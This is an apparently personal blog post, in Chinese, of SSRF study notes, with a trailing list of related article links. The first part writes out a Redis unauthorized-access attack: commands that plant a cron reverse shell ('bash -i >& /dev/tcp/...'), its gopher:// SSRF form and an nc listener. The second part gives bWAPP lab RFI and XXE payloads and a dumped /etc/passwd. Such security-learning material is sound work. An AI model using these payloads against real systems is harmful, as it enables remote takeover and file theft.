简单的SSRF的学习
自己眼中的SSRF 成因
服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等)
一SSRF配合redis未授权访问
redis-cli -h $ flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.3/2333 0>&1\n\n"|redis-cli -h $ -x set
redis-cli -h $ config set dir /var/spool/cron/
redis-cli -h $ config set dbfilename root
redis-cli -h $ save
利用这个脚本攻击自身并抓包得到数据流:
改成适配于 Gopher 协议的 URL:
gopher://192.168.1.11:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
这时候在192.168.1.3这台服务器
nc -lvv
1redis要存在未授权访问 看看存不存在

支持dict协议 本地支持file协议

这是源代码 意思是把访问url的内容反映到网页上面

gopher协议


二利用bWAPP学习SSRF
SSRF的3个小实验
bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:
任务1:使用远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)
任务1:使用远程文件包含进行端口扫描
点击任务1中的Port scan可以获得一份端口扫描的攻击脚本:http://192.168.163.157/evil/ssrf-1.txt
接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本。
在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level选择low,然后点击Hack。
观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
payload:?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST:ip=xxxx
http://192.168.1.11/bWAPP/rlfi.php
?language=http://192.168.1.11/evil/ssrf-1.txt
&action=go
ip=192.168.1.2

任务2:使用XXE获取敏感文件中的内容
点击Access获取XXE的利用脚本:10.158.131.81/bWAPP_latest/evil/ssrf-2.txt
然后切换到XXE漏洞利用环境,点击Anybugs?,抓包
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.1.11/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

使用file协议获取bWAPP本机的/etc/passwd的内容。
root:x:::root:/root:/bin/bash
daemon:x:::daemon:/usr/sbin:/bin/sh
bin:x:::bin:/bin:/bin/sh
sys:x:::sys:/dev:/bin/sh
sync:x:::sync:/bin:/bin/sync
games:x:::games:/usr/games:/bin/sh
man:x:::man:/var/cache/man:/bin/sh
lp:x:::lp:/var/spool/lpd:/bin/sh
mail:x:::mail:/var/mail:/bin/sh
news:x:::news:/var/spool/news:/bin/sh
uucp:x:::uucp:/var/spool/uucp:/bin/sh
proxy:x:::proxy:/bin:/bin/sh
www-data:x:::www-data:/var/www:/bin/sh
backup:x:::backup:/var/backups:/bin/sh
list:x:::Mailing List Manager:/var/list:/bin/sh
irc:x:::ircd:/var/run/ircd:/bin/sh
gnats:x:::Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:::nobody:/nonexistent:/bin/sh
libuuid:x::::/var/lib/libuuid:/bin/sh
dhcp:x::::/nonexistent:/bin/false
syslog:x::::/home/syslog:/bin/false
klog:x::::/home/klog:/bin/false
hplip:x:::HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:::Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:::Gnome Display Manager:/var/lib/gdm:/bin/false
pulse:x:::PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x::::/var/run/dbus:/bin/false
avahi:x:::Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser:x:::PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:::Hardware abstraction layer,,,:/var/run/hald:/bin/false
bee:x:::bee,,,:/home/bee:/bin/bash
mysql:x:::MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x::::/var/run/sshd:/usr/sbin/nologin
dovecot:x:::Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
smmta:x:::Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:::Mail Submission Program,,,:/var/lib/sendmail:/bin/false
neo:x::::/home/neo:/bin/sh
alice:x::::/home/alice:/bin/sh
thor:x::::/home/thor:/bin/sh
wolverine:x::::/home/wolverine:/bin/sh
johnny:x::::/home/johnny:/bin/sh
selene:x::::/home/selene:/bin/sh
postfix:x::::/var/spool/postfix:/bin/false
proftpd:x::::/var/run/proftpd:/bin/false
ftp:x::::/home/ftp:/bin/false
snmp:x::::/var/lib/snmp:/bin/false
ntp:x::::/home/ntp:/bin/false
's secret has been reset!
修复建议

简单的SSRF的学习的更多相关文章
- scrapy爬虫学习系列二:scrapy简单爬虫样例学习
系列文章列表: scrapy爬虫学习系列一:scrapy爬虫环境的准备: http://www.cnblogs.com/zhaojiedi1992/p/zhaojiedi_python_00 ...
- 路由其实也可以很简单-------Asp.net WebAPI学习笔记(一) ASP.NET WebApi技术从入门到实战演练 C#面向服务WebService从入门到精通 DataTable与List<T>相互转换
路由其实也可以很简单-------Asp.net WebAPI学习笔记(一) MVC也好,WebAPI也好,据我所知,有部分人是因为复杂的路由,而不想去学的.曾经见过一位程序猿,在他MVC程序中, ...
- SSRF深入学习
爆出来的直接关于SSRF的漏洞有俩,①是weblogic,②是discuzz SSRF漏洞最主要的部分并不是SSRF 探测内网,而是可以写shell,反弹shell,虽然很多厂家把它归为低危漏洞,仔细 ...
- TestNG简单介绍以及安装—学习笔记1
TestNG是什么 到这里,大家肯定已经运行了一些关于Selenium的测试用例了(这里主要是站着一个自动化测试工程师的角度来看待TestNG的,所以这里所说的也都是基于Web测试的验证点来说的,而不 ...
- ssrf漏洞学习(PHP)
自己最近原本是想深入的学习一下关于xss.csrf的东西的,可是感觉这些东西需要有很好的js的基础来进行学习..还有感觉自己感觉也差不多该要学习内网渗透了..正好ssrf在内网这一块也是比较有用的.于 ...
- 用c写的简单的日历(学习模块划分)
简单日历 主要目的是学习函数模块划分,成品大概是这样,加了一些花里胡哨的东西(/▽\) 分三个模块,主函数.c 显示.c 计算.c 与.h 文件 有两种实现方式,区别在于是否以数组在模块之间传 ...
- SSRF漏洞学习
SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...
- JGUI源码:实现简单MVVM单项绑定学习笔记(15)
前面几节都是jquery界面方面的东西,本节研究些数据方面的东西:MVVM. MVVM由三部分组成:Model <=> ViewModel <=> View,当Model数据改 ...
- 路由其实也可以很简单-------Asp.net WebAPI学习笔记(一)
MVC也好,WebAPI也好,据我所知,有部分人是因为复杂的路由,而不想去学的.曾经见过一位程序猿,在他MVC程序中,一切皆路由,url中是完全拒绝"?"和“&”.对此,我 ...
随机推荐
- wpf之二进制资源
一.当需要添加图片.音频.视屏的资源到wpf项目里是,可以直接把文件添加到项目里 右击add->existing item. 1.如果想将外部文件编异常目标成为二进制资源,在文件的属性窗口 Bu ...
- js之语句——案例
以下为js语句的案例题,虽然简单,但是里面涉及到语句的嵌套,多个参数,需要好好分析. 1.求出1-100之间所有奇/偶数之和 <script> var sum = 0; for (var ...
- 记录:初入Java环境部署踩坑
1.在部署环境之前,先确定大佬们用的哪几种软件,然后依次下载,安装,IDEA, JDK, Tomcat, Maven. 什么是JDK? JDK是 Java 语言的软件开发工具包,主要用于移 ...
- Java设计模式只好
有时,一些学生私下问我:如何学习前端问题.这里有一个统一的回复,下次我遇到这个问题,同学们会直接给你发这篇文章的链接地址. “如何学习前端”应该因人而异,其他人的方法可能不适合自己.让我们谈谈我的学习 ...
- mybatis报错,There is no getter for property named 'templateName' in 'class
There is no getter for property named 'templateName' in 'class 主要原因是因为mapper.xml 的语句有错误,导致在bean里找不到相 ...
- (十二)Linux Kernel suspend and resume
一.对于休眠(suspend)的简单介绍 在Linux中,休眠主要分三个主要的步骤: 1) 冻结用户态进程和内核态任务 2) 调用注册的设备的suspend的回调函数, 顺序是按照注册顺序 ...
- IPC之msg.c源码解读
// SPDX-License-Identifier: GPL-2.0 /* * linux/ipc/msg.c * Copyright (C) 1992 Krishna Balasubramania ...
- Redis03——Redis架构
Redis架构 1.1.问题 redis是单线程,单实例,为什么并发那么多,依旧很快呢? 回答:因为调用了系统内核的epoll 1.2.Linux的早期版本 Linux有Linux kernal,我们 ...
- Beta冲刺版本第三天
该作业所属课程:https://edu.cnblogs.com/campus/xnsy/SoftwareEngineeringClass2 作业要求地址:https://edu.cnblogs.com ...
- 白话跨域CORS
跨域访问控制是浏览器和服务器按照约定,协同工作,守护安全的一种机制. 其中认为浏览器和服务器是安全的,但是浏览器上运行的页面(HTML+JS)可能不安全. 分几种不同方式. 页面跨域简单请求(Get/ ...